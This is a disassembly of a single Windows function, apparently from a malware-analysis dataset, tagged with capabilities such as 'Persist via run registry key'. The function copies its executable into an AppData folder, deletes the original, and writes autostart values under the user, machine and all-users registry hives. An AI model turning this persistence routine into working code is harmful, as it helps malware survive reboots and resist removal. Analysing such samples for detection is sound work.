Function at 0x402ef0
Capabilities:
Copy file
Create directory
Delete file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push 0xa
push 0
lea eax, [ebp - 0x1c]
push eax
call fcn.00401940
add esp, 0xc
push 0x208
push 0
lea ecx, [ebp - 0x224]
push ecx
call fcn.00401940
add esp, 0xc
push 0x208
push 0
push 0x4086a0
call fcn.00401940
add esp, 0xc
push 5
lea edx, [ebp - 0x1c]
push edx
call fcn.00401340
add esp, 8
lea eax, [ebp - 0x224]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x224]
push edx
push 0x407824
push 0x4086a0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0x4086a0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x224]
push edx
push 0x407830
push 0x4086a0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0x4086a0
push 0x4088c0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x4088c0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x25
push 0
push 0x408b40
call fcn.00401940
add esp, 0xc
push 0x4a
push 0
push 0x408640
call fcn.00401940
add esp, 0xc
push 0x408b40
call fcn.004013e0
add esp, 4
push 0x4a
push 0x408640
push 0x408b40
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x408b40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x40779c
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x408b40
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
push edx
push 0x408b40
push 1
push 0
push 0x407770
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
push 0x4077bc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40313e
push 0x4086a0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push 0x4086a0
push 1
push 0
push 0x408640
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4030e3
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40313e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push 0x4077ec
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x4086a0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
push edx
push 0x4086a0
push 1
push 0
push 0x408640
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 4]
push edx
push 0xf003f
push 0
push 0x4077bc
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x4086a0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push 0x4086a0
push 1
push 0
push 0x408640
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret